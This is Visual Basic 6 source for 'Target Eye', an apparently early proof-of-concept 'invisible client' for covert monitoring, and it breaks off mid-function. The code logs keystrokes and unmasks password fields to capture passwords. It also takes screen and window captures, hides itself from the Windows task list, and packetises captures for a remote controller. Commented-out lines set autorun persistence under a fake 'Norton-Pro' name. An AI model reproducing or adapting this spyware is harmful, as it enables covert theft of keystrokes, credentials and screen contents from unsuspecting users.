On July 2000, I have created a first POC using Visual Basic 6.0.
Attribute VB_Name = "TargetEyeC"
' Target Eye
' Invisible Client
' by Michael Haephrati
'
' Version 0.01 9.3.2000
'
' Program Flow:
' Initilization:
' 1. Get user name
' 2. Create hiden files for storage
' 3. Check for Internet settings
' 4. Hide application
' 5. Register application to start automatically
' Loop:
' 1. Save active window to hiden file
' 2. Capture text typed
' * Capture
' * Translate KeyCodes into real string in the choosen language
' 3. Check for password characters in any window
' * If there are -> save real password string + window name + application name
' 4. If Internet mode -> send to web page.
' 5. If Network mode -> Controller will collect files from client.
Public fMainForm As MDIForm1
Public lDocumentCount As Long
Public lDocuments(10) As Form1
' Declare constants.
Private Const CSIDL_TEMPLATES = &H15
Private Const CSIDL_STARTMENU = &HB
Private Const CSIDL_FAVORITES = &H6
Private Const CSIDL_DESKTOPDIRECTORY = &H10
Public Const HWND_TOP = 0
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const HWND_BOTTOM = 1
' Declare API functions.
Private Type ShortItemId
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As ShortItemId
End Type
Public Declare Function OSfCreateShellLink Lib "vb6stkit.dll" Alias "fCreateShellLink" _
(ByVal lpstrFolderName As String, _
ByVal lpstrLinkName As String, _
ByVal lpstrLinkPath As String, _
ByVal lpstrLinkArguments As String, _
ByVal fPrivate As Long, _
ByVal sParent As String) As Long
Public Const gstrQUOTE$ = """"
' Declare constants.
'Registry Access Declarations
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" _
(ByVal Pidl As Long, ByVal pszPath As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib _
"shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder _
As Long, Pidl As ITEMIDLIST) As Long
'Startup folder
Const CSIDL_COMMON_STARTUP = 24
Const MAX_PATH = 260
' ----------------
'Create a shortcut
Declare Function fCreateShellLink Lib "vb6stkit.dll" _
(ByVal lpstrFolderName As String, _
ByVal lpstrLinkName As String, _
ByVal lpstrLinkPath As String, _
ByVal lpstrLinkArgs As String, _
ByVal fPrivate As Integer, _
ByVal sParent As String) As Long
' -------------
Declare Function CombineRgn Lib "gdi32.dll" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function CreateRectRgn Lib "gdi32.dll" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Public Const TH32CS_SNAPPROCESS As Long = 2&
Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Public Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwflags As Long
szexeFile As String * MAX_PATH
End Type
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" _
(ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, _
ByVal dwThreadId As Long) As Long
Private Const SHIFT_KEY As Integer = 16
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal idHook As Long) As Long
Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As Long) As Long
Global Current As Long
Global ChrTrap As Long
Global hHook As Long
' Target Eye Message
Public Enum TEM
WindowsCMD
ListFiles
GetFile
SendFile
Execute
DisplayMsg
TargetEyeCMD
End Enum
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CreateBitmapPicture
' - Creates a bitmap type Picture object from a bitmap and
' palette.
'
' hBmp
' - Handle to a bitmap.
'
' hPal
' - Handle to a Palette.
' - Can be null if the bitmap doesn't use a palette.
'
' Returns
' - Returns a Picture object containing the bitmap.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
Public Function CreateBitmapPicture(ByVal hBmp As Long, _
ByVal hPal As Long) As Picture
Dim r As Long
Dim Pic As PicBmp
' IPicture requires a reference to "Standard OLE Types."
Dim IPic As IPicture
Dim IID_IDispatch As GUID
' Fill in with IDispatch Interface ID.
With IID_IDispatch
.Data1 = &H20400
.Data4(0) = &HC0
.Data4(7) = &H46
End With
' Fill Pic with necessary parts.
With Pic
.Size = Len(Pic) ' Length of structure.
.Type = vbPicTypeBitmap ' Type of Picture (bitmap).
.hBmp = hBmp ' Handle to bitmap.
.hPal = hPal ' Handle to palette (may be null).
End With
' Create Picture object.
r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)
' Return the new Picture object.
Set CreateBitmapPicture = IPic
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CaptureWindow
' - Captures any portion of a window.
'
' hWndSrc
' - Handle to the window to be captured.
'
' Client
' - If True CaptureWindow captures from the client area of the
' window.
' - If False CaptureWindow captures from the entire window.
'
' LeftSrc, TopSrc, WidthSrc, HeightSrc
' - Specify the portion of the window to capture.
' - Dimensions need to be specified in pixels.
'
' Returns
' - Returns a Picture object containing a bitmap of the specified
' portion of the window that was captured.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Function CaptureWindow(ByVal hWndSrc As Long, _
ByVal Client As Boolean, ByVal LeftSrc As Long, _
ByVal TopSrc As Long, ByVal WidthSrc As Long, _
ByVal HeightSrc As Long) As Picture
Dim hDCMemory As Long
Dim hBmp As Long
Dim hBmpPrev As Long
Dim r As Long
Dim hDCSrc As Long
Dim hPal As Long
Dim hPalPrev As Long
Dim RasterCapsScrn As Long
Dim HasPaletteScrn As Long
Dim PaletteSizeScrn As Long
Dim LogPal As LOGPALETTE
' Depending on the value of Client get the proper device context.
If Client Then
hDCSrc = GetDC(hWndSrc) ' Get device context for client area.
Else
hDCSrc = GetWindowDC(hWndSrc) ' Get device context for entire window.
End If
' Create a memory device context for the copy process.
hDCMemory = CreateCompatibleDC(hDCSrc)
' Create a bitmap and place it in the memory DC.
hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)
hBmpPrev = SelectObject(hDCMemory, hBmp)
' Get screen properties.
RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS) ' Raster
' capabilities.
HasPaletteScrn = RasterCapsScrn And RC_PALETTE ' Palette
' support.
PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) ' Size of
' palette.
' If the screen has a palette make a copy and realize it.
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
' Create a copy of the system palette.
LogPal.palVersion = &H300
LogPal.palNumEntries = 256
r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))
hPal = CreatePalette(LogPal)
' Select the new palette into the memory DC and realize it.
hPalPrev = SelectPalette(hDCMemory, hPal, 0)
r = RealizePalette(hDCMemory)
End If
' Copy the on-screen image into the memory DC.
r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy)
' Remove the new copy of the on-screen image.
hBmp = SelectObject(hDCMemory, hBmpPrev)
' If the screen has a palette get back the palette that was
' selected in previously.
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
hPal = SelectPalette(hDCMemory, hPalPrev, 0)
End If
' Release the device context resources back to the system.
r = DeleteDC(hDCMemory)
r = ReleaseDC(hWndSrc, hDCSrc)
' Call CreateBitmapPicture to create a picture object from the
' bitmap and palette handles. Then return the resulting picture
' object.
Set CaptureWindow = CreateBitmapPicture(hBmp, hPal)
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CaptureScreen
' - Captures the entire screen.
'
' Returns
' - Returns a Picture object containing a bitmap of the screen.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
Public Function CaptureScreen() As Picture
Dim hWndScreen As Long
' Get a handle to the desktop window.
hWndScreen = GetDesktopWindow()
' Call CaptureWindow to capture the entire desktop give the handle
' and return the resulting Picture object.
Set CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, _
Screen.Width \ Screen.TwipsPerPixelX, _
Screen.Height \ Screen.TwipsPerPixelY)
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CaptureForm
' - Captures an entire form including title bar and border.
'
' frmSrc
' - The Form object to capture.
'
' Returns
' - Returns a Picture object containing a bitmap of the entire
' form.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
Public Function CaptureForm(frmSrc As Form) As Picture
' Call CaptureWindow to capture the entire form given its window
' handle and then return the resulting Picture object.
Set CaptureForm = CaptureWindow(frmSrc.hWnd, False, 0, 0, _
frmSrc.ScaleX(frmSrc.Width, vbTwips, vbPixels), _
frmSrc.ScaleY(frmSrc.Height, vbTwips, vbPixels))
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CaptureClient
' - Captures the client area of a form.
'
' frmSrc
' - The Form object to capture.
'
' Returns
' - Returns a Picture object containing a bitmap of the form's
' client area.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
Public Function CaptureClient(frmSrc As Form) As Picture
' Call CaptureWindow to capture the client area of the form given
' its window handle and return the resulting Picture object.
Set CaptureClient = CaptureWindow(frmSrc.hWnd, True, 0, 0, _
frmSrc.ScaleX(frmSrc.ScaleWidth, frmSrc.ScaleMode, vbPixels), _
frmSrc.ScaleY(frmSrc.ScaleHeight, frmSrc.ScaleMode, vbPixels))
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CaptureActiveWindow
' - Captures the currently active window on the screen.
'
' Returns
' - Returns a Picture object containing a bitmap of the active
' window.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
Public Function CaptureActiveWindow() As Picture
Dim s As String
Dim hWndActive As Long
Dim r As Long
Dim RectActive As RECT
' Get a handle to the active/foreground window.
hWndActive = GetForegroundWindow()
ActiveWindowPTR = hWndActive
r = GetWindowRect(hWndActive, RectActive)
Set CaptureActiveWindow = CaptureWindow(hWndActive, False, RectActive.Left, RectActive.Top, RectActive.Right - RectActive.Left, RectActive.Bottom - RectActive.Top)
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' PrintPictureToFitPage
' - Prints a Picture object as big as possible.
'
' Prn
' - Destination Printer object.
'
' Pic
' - Source Picture object.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
Public Sub PrintPictureToFitPage(Prn As Printer, Pic As Picture)
Const vbHiMetric As Integer = 8
Dim PicRatio As Double
Dim PrnWidth As Double
Dim PrnHeight As Double
Dim PrnRatio As Double
Dim PrnPicWidth As Double
Dim PrnPicHeight As Double
WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " PrintPictureToFitPage"
' Determine if picture should be printed in landscape or portrait
' and set the orientation.
If Pic.Height >= Pic.Width Then
Prn.Orientation = vbPRORPortrait ' Taller than wide.
Else
Prn.Orientation = vbPRORLandscape ' Wider than tall.
End If
' Calculate device independent Width-to-Height ratio for picture.
PicRatio = Pic.Width / Pic.Height
' Calculate the dimentions of the printable area in HiMetric.
PrnWidth = Prn.ScaleX(Prn.ScaleWidth, Prn.ScaleMode, vbHiMetric)
PrnHeight = Prn.ScaleY(Prn.ScaleHeight, Prn.ScaleMode, vbHiMetric)
' Calculate device independent Width to Height ratio for printer.
PrnRatio = PrnWidth / PrnHeight
' Scale the output to the printable area.
If PicRatio >= PrnRatio Then
' Scale picture to fit full width of printable area.
PrnPicWidth = Prn.ScaleX(PrnWidth, vbHiMetric, Prn.ScaleMode)
PrnPicHeight = Prn.ScaleY(PrnWidth / PicRatio, vbHiMetric, _
Prn.ScaleMode)
Else
' Scale picture to fit full height of printable area.
PrnPicHeight = Prn.ScaleY(PrnHeight, vbHiMetric, Prn.ScaleMode)
PrnPicWidth = Prn.ScaleX(PrnHeight * PicRatio, vbHiMetric, _
Prn.ScaleMode)
End If
' Print the picture using the PaintPicture method.
Prn.PaintPicture Pic, 0, 0, PrnPicWidth, PrnPicHeight
End Sub
'--------------------------------------------------------------------
Function CurUserName$()
Dim MachineName As String
Dim NameSize As Integer
Dim x As Integer
MachineName = Space$(16)
NameSize = Len(MachineName)
x = GetComputerName(MachineName, 16)
CurUserName$ = MTrim(MachineName)
End Function
Public Function MTrim(ByVal s As String) As String
Dim i
For i = 1 To Len(s)
If Mid(s, i, 1) <> Chr(0) Then MTrim = MTrim + Mid(s, i, 1)
Next
MTrim = Trim(MTrim)
End Function
' ************************************************
' Return the text associated with the window.
' ************************************************
Public Function WindowText(window_hwnd As Long) As String
Dim txtlen As Long
Dim Txt As String
WindowText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
Txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal Txt)
WindowText = Left$(Txt, txtlen)
End Function
' ***********************************************
' If this window is of the Edit class, return
' its contents. Otherwise search its children
' for an Edit object.
' ***********************************************
Public Function EditInfo(window_hwnd As Long) As String
Dim Txt As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim Children() As Long
Dim num_children As Integer
Dim a&
Dim i As Integer
' Get the class name.
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
' See if we found an Edit object.
If buf = "Edit" Then
EditInfo = WindowText(window_hwnd)
thehwnd = window_hwnd
Exit Function
End If
' It's not an Edit object. Search the children.
' Make a list of the child windows.
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD)
Do While child_hwnd <> 0
num_children = num_children + 1
ReDim Preserve Children(1 To num_children)
Children(num_children) = child_hwnd
'Debug.Print WindowText(child_hwnd)
If Sendmessagebynum(child_hwnd, EM_GETPASSWORDCHAR, 0&, 0&) <> 0 Then
Call Sendmessagebynum(a&, EM_SETPASSWORDCHAR, 0&, 0&)
'Form1.HidenPWD = "(" + WindowText(window_hwnd) + ") " + WindowText(child_hwnd)
' DoEvents
End If
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT)
Loop
' Get information on the child windows.
For i = 1 To num_children
Txt = EditInfo(Children(i))
If Txt <> "" Then Exit For
Next i
EditInfo = Txt
End Function
Public Function FindPasswords(window_hwnd As Long) As String
Dim Txt As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim Children() As Long
Dim num_children As Integer
Dim a&
Dim i As Integer
' Get the class name.
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
' It's not an Edit object. Search the children.
' Make a list of the child windows.
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD)
Do While child_hwnd <> 0
num_children = num_children + 1
ReDim Preserve Children(1 To num_children)
Children(num_children) = child_hwnd
'Debug.Print WindowText(child_hwnd)
If Sendmessagebynum(child_hwnd, EM_GETPASSWORDCHAR, 0&, 0&) <> 0 Then
Call Sendmessagebynum(a&, EM_SETPASSWORDCHAR, 0&, 0&)
FindPasswords = Space(35 - Len(WindowText(window_hwnd))) + WindowText(window_hwnd) + Space(15 - Len(WindowText(child_hwnd))) + WindowText(child_hwnd)
Exit Function
End If
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT)
Loop
' Get information on the child windows.
For i = 1 To num_children
Txt = FindPasswords(Children(i))
If Trim(Txt) <> "" Then
FindPasswords = Txt: Exit For
End If
Next i
FindPasswords = Space(50)
End Function
Sub Main()
Dim Work As Boolean
Dim i, n, a, u, reg
Dim Str As String
Dim hHook As Long
frmOptions.LoadTESettings
WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " Main"
'Get screen resolution // AGENT
TWidth = Screen.Width \ Screen.TwipsPerPixelX
THeight = Screen.Height \ Screen.TwipsPerPixelY
'Load tmp files
TE_DeleteFile TMP_FILENAME
WriteToLog "============================"
WriteToLog App.EXEName
Set ActiveWindowWin = New Window
'hHook = SetWindowsHookEx(2, AddressOf Keyboard, 0, 0)
StartX = -1
StartY = -1
'initilization
If App.PrevInstance = True Then End 'if Target Eye Client is already running -> quit
'ReadCheckWords 'read words to monitor
'Call RegisterServiceProcess(0, 1) 'make task invisible
'register Target Eye to run automatically at startup
'u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a)
'u = RegSetValueExA(a, "Norton-Pro", 0, reg, "C:\Windows\System\System.exe", 1)
'u = RegCloseKey(a)
'Work = True
'loop
'For i = 1 To 300
'While Work
frmSplash.Show vbModal
If Not frmSplash.OK Then End
Unload frmSplash
frmSplash.Refresh
Set fMainForm = New MDIForm1
Load fMainForm
Unload frmSplash
If General.CaptureMode = Network And General.MyIdentity = SecretAgent Then
AgentMe.Name = CurUserName
AgentMe.ID = 0
SendInitialMessage AgentMe.Name, NetworkPictFile + AgentMe.Name + ".tei"
End If
fMainForm.Show
End Sub
Sub SendInitialMessage(AgentName As String, FileName As String)
Dim a$
Open FileName For Output As #25
Print #25, AgentName; "#"; Format(Now(), "DD/MM/YY HH:MM:SS")
Close #25
Open FileName For Input As #25
Line Input #25, a$
Debug.Print a$
Close #25
End Sub
Function CheckAllWindows() As String
Dim currwnd As Long
Dim Length
Dim listitem$
Dim checklist As String
Dim x, i, compare, mypos
Dim a&
'Get the hWnd of the first item in the master list
'so we can process the task list entries (top-level only).
currwnd = GetForegroundWindow()
'Loop while the hWnd returned by GetWindow is valid.
While currwnd <> 0
'Get the length of task name identified by CurrWnd in the list.
Length = GetWindowTextLength(currwnd)
'Get task name of the task in the master list.
listitem$ = Space$(Length + 1)
Length = GetWindowText(currwnd, listitem$, Length + 1)
'If there is a task name in the list, check if it is explorer or netscape
If Length > 0 Then
x = Right$(listitem$, 29)
'if the task name is internet explorer
'find the editwindow and return its contents !
'mypos = InStr(1, X, "Microsoft Internet Explorer", 1)
'If mypos > 1 Then
x = EditInfo(currwnd)
'If .CheckHotWords.Value = vbChecked Then
' For i = 0 To Form1.HotWords.ListCount - 1
' compare = Form1.HotWords.List(i)
' mypos = InStr(1, UCase(X), UCase(compare), 1)
' If mypos >= 1 Then
' CheckAllWindows = X
' Exit Function
' Else
' CheckAllWindows = ""
' End If
' Next i
'End If
End If
'Get the next task list item in the master list.
currwnd = GetWindow(currwnd, GW_HWNDNEXT)
'Process Windows events.
'X = DoEvents()
Wend
End Function
Public Sub HideAppInCloseProgramList()
Dim process As Long
WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " HideAppInCloseProgramList"
process = GetCurrentProcessId()
Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE)
End Sub
Public Sub UnHideAppInCloseProgramList()
Dim process As Long
WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " UnHideAppInCloseProgramList"
process = GetCurrentProcessId()
Call RegisterServiceProcess(process, RSP_UNREGISTER_SERVICE)
End Sub
Function GetCaption(hWnd) As String
Dim Capt$
Dim TChars$
Capt$ = Space$(255)
TChars$ = GetWindowText(hWnd, Capt$, 255)
GetCaption = Left$(Capt$, TChars$)
End Function
Function GetText(hWnd) As String
Dim GetString As String
Dim TrimSpace$
Dim GetTrim
GetTrim = Sendmessagebynum(hWnd, 14, 0&, 0&)
TrimSpace$ = Space$(GetTrim)
GetString = SendMessageByString(hWnd, 13, GetTrim + 1, TrimSpace$)
GetText = TrimSpace$
End Function
Public Function GenerateKey(t As String) As String
Dim i As Integer
Dim n As Long
For i = 1 To Len(t)
n = n + Int(9999 / Asc(Mid(t, i, 1)) * 100000)
Next
GenerateKey = Left(n, 8)
' Debug.Print GenerateKey
End Function
' Keyboard capturing
Public Function CaptureKeyboard() As String
Dim bGetKey As Boolean
Dim keyloop As Integer
Dim KeyResult As Integer
Dim sKeyPressed As String
' if key pressed, stores Key Character i
' n sKeyPressed
' and returns true
keyloop = 65
Do Until keyloop = 91 ' check For letters
KeyResult = GetAsyncKeyState(keyloop)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, Chr(keyloop), LCase(Chr(keyloop)))
GoTo KeyFound
End If
keyloop = keyloop + 1
Loop
keyloop = 48
Do Until keyloop = 57 ' check For numbers
KeyResult = GetAsyncKeyState(keyloop)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
If KeyResult < 0 Then
If keyloop = 48 Then sKeyPressed = ")"
If keyloop = 49 Then sKeyPressed = "!"
If keyloop = 50 Then sKeyPressed = "@"
If keyloop = 51 Then sKeyPressed = "#"
If keyloop = 52 Then sKeyPressed = "$"
If keyloop = 53 Then sKeyPressed = "%"
If keyloop = 54 Then sKeyPressed = "^"
If keyloop = 55 Then sKeyPressed = "&"
If keyloop = 56 Then sKeyPressed = "*"
If keyloop = 58 Then sKeyPressed = "("
Else
sKeyPressed = Chr(keyloop)
End If
GoTo KeyFound
End If
keyloop = keyloop + 1
Loop
KeyResult = GetAsyncKeyState(13) ' check For enter
If KeyResult = -32767 Then
sKeyPressed = vbCrLf
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32) ' check For space
If KeyResult = -32767 Then
sKeyPressed = " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) ' check For Backspace
If KeyResult = -32767 Then
sKeyPressed = " BKSP "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46) ' check For Del
If KeyResult = -32767 Then
sKeyPressed = " DEL "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190) ' check For period
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, ">", ".")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188) ' check For comma
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "<", ",")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186) ' check For colon
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, ":", ";")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191) ' check For question mark
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "?", "/")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222) ' check For quotes
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, """", "'")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192) ' and so On
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "~", "`")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "_", "-")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "+", "=")
GoTo KeyFound
End If
bGetKey = False ' If you get here, no key found
CaptureKeyboard = ""
Exit Function
KeyFound:
If TargetEyeC.FindTheardLanguage = "HEB" Then
CaptureKeyboard = HebrewChar(sKeyPressed)
Else
CaptureKeyboard = sKeyPressed
End If
bGetKey = True
End Function
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
' DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Public Function HebrewChar(ByVal s As String) As String
Dim i, n
Dim HChars As String
HChars = "שנבגקכעיןחלךצמםפ/רדאוה/סטז"
For i = 1 To Len(s)
n = Asc(Mid(s, i, 1))
If n >= 97 And n <= 122 Then
Mid(s, i, 1) = Mid(HChars, n - 97 + 1, 1)
Else
Mid(s, i, 1) = Chr$(n)
End If
Next
HebrewChar = s
End Function
Public Function Keyboard(ByVal idHook As Long, ByVal lParam As Long, ByVal wParam As Long) As Long
Debug.Print lParam, wParam
'If wParam > 0 Then '= WM_KEYUP Then
' AddChar lParam
'End If
End Function
Public Sub AddChar(n As Long)
Static lastn As Long
If n = lastn Then lastn = -1: Exit Sub
If FindTheardLanguage = "HEB" Then
Form1.Ctext = Form1.Ctext + HebrewChar(Chr(n))
Else
Form1.Ctext = Form1.Ctext + Chr(n)
End If
lastn = n
End Sub
Public Function GetExeFromHandle(hWnd As Long) As String
Dim threadID As Long, processID As Long, hSnapshot As Long
Dim uProcess As PROCESSENTRY32, rProcessFound As Long
Dim i As Integer, szExename As String
' Get ID for window thread
Exit Function
threadID = GetWindowThreadProcessId(hWnd, processID)
' Check if valid
If threadID = 0 Or processID = 0 Then Exit Function
' Create snapshot of current processes
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
' Check if snapshot is valid
If hSnapshot = -1 Then Exit Function
'Initialize uProcess with correct size
uProcess.dwSize = Len(uProcess)
'Start looping through processes
rProcessFound = ProcessFirst(hSnapshot, uProcess)
Do While rProcessFound
If uProcess.th32ProcessID = processID Then
'Found it, now get name of exefile
i = InStr(1, uProcess.szexeFile, Chr(0))
If i > 0 Then szExename = Left$(uProcess.szexeFile, i - 1)
Exit Do
Else
'Wrong ID, so continue looping
rProcessFound = ProcessNext(hSnapshot, uProcess)
End If
Loop
Call CloseHandle(hSnapshot)
GetExeFromHandle = szExename
End Function
Public Sub CopyPict2CB(Pict As Picture)
Clipboard.Clear
Clipboard.SetData Pict, vbCFBitmap
End Sub
Public Sub TE_ReadPict(PictFileName As String, DestFileName As String, Myform As Form, ByVal AgentID As Integer)
Dim s As String
s = PacketType(PictFileName)
Myform.Caption = "Reading packet " + s + " Agent: " + Str(AgentID)
' DoEvents
On Error GoTo 0
Select Case s
Case "NewFile":
TECopy PictFileName, DestFileName, 1, AgentID
Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
Case "ContFile":
TECopy PictFileName, DestFileName, 2, AgentID
Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
Case "EndFile":
TECopy PictFileName, DestFileName, 3, AgentID
Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
On Error GoTo erPict
Myform.Caption = "Loading image..." + DestFileName
Set Myform.Image1.Picture = LoadPicture(DestFileName)
On Error GoTo 0
Case "SingleFile":
TECopy PictFileName, DestFileName, 4, AgentID
Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
On Error GoTo erPict
Myform.Caption = "Loading image..." + DestFileName
Set Myform.Image1.Picture = LoadPicture(DestFileName)
' DoEvents
On Error GoTo 0
End Select
DeleteFile PictFileName
Exit Sub
erPict:
Myform.Caption = Err.Description
' DoEvents
Resume Next
End Sub
' =============================================================================
' TE_NewSendPict
' =============================================================================
' Input:
' PictFileName as String - a captured image file (currently BMP)
' DestFileName as String - a file used for the next packet
' AgentID as Integer - a squencal number used to identify the agent
' among the other agents
' Resend as Boolean - states if the image is being resent
' =============================================================================
Static Sub TE_NewSendPict(PictFileName As String, DestFileName As String, AgentID As Integer, Resend As Boolean)
' =============================================================================
' Local Variables
' =============================================================================
Dim TEType() As Byte ' used to store the PacketID
Dim Rest() As Byte ' used to store the Packet data
Dim CurrentPlace As Long ' used to store the current place within the file
Dim ReportSize As Long ' used to store the packet size which is encripted in the PacketID
Dim PacketSize As Long ' used to store the packet size
' =============================================================================
' Static Variables
' =============================================================================
Static LastRest() As Byte ' used for comparing current and previous images
Static CountBytes As Long ' a counter for bytes sent so far
Static CountPackets As Integer ' a counter for the number of packets sent
Static FileSize As Long ' used to store the size of the image file
' =============================================================================
' Preperations
' =============================================================================
ReDim TEType(1 To 10) ' allocate memory to hold PacketID
' open destenation file (the packet to be created
Close #11: Open DestFileName For Binary Access Write As #11
' =============================================================================
' Check agent mode.
' If it is in Ready mode -> create a packet from the begining of the file
' If it is in PacketWaiting mode -> create a packet from the middle of the file
' =============================================================================
If AgentMe.State = AgentReady Then
' =============================================================================
' Create a packet for a new image (1st packet or a single packet)
' =============================================================================
'
' INITIALIZATION
CountBytes = 0
CountPackets = 0
' Compare pict to last saved one
If TECompare(PictFileName) Then
Close #11
DeleteFile DestFileName
Exit Sub
End If
' open source file (image)
' The image is opened only one and remains open until last packet is sent
Close #12: Open PictFileName For Binary Access Read As #12
' Check size of the entire image file
FileSize = LOF(12)
AgentMe.CurrentImageSize = LOF(12)
'
' Determining whether the image fit in a single packet?
' (Either the image is equal or smaller to the maximum packet
' size defined, or the packet mechanism isn't activated
' =============================
If FileSize <= DefPacketSize Then
' =============================
'The image will it be entirely transformed into a single packet
'Packet type is "SingleFile"
TEType(1) = Packet_SingleFile
'PacketID is created from 2 digits:
' 1 - AgentID
' 2 - The sequencial number of the packet
'
TEType(2) = CByte(CountPackets + AgentID * 10)
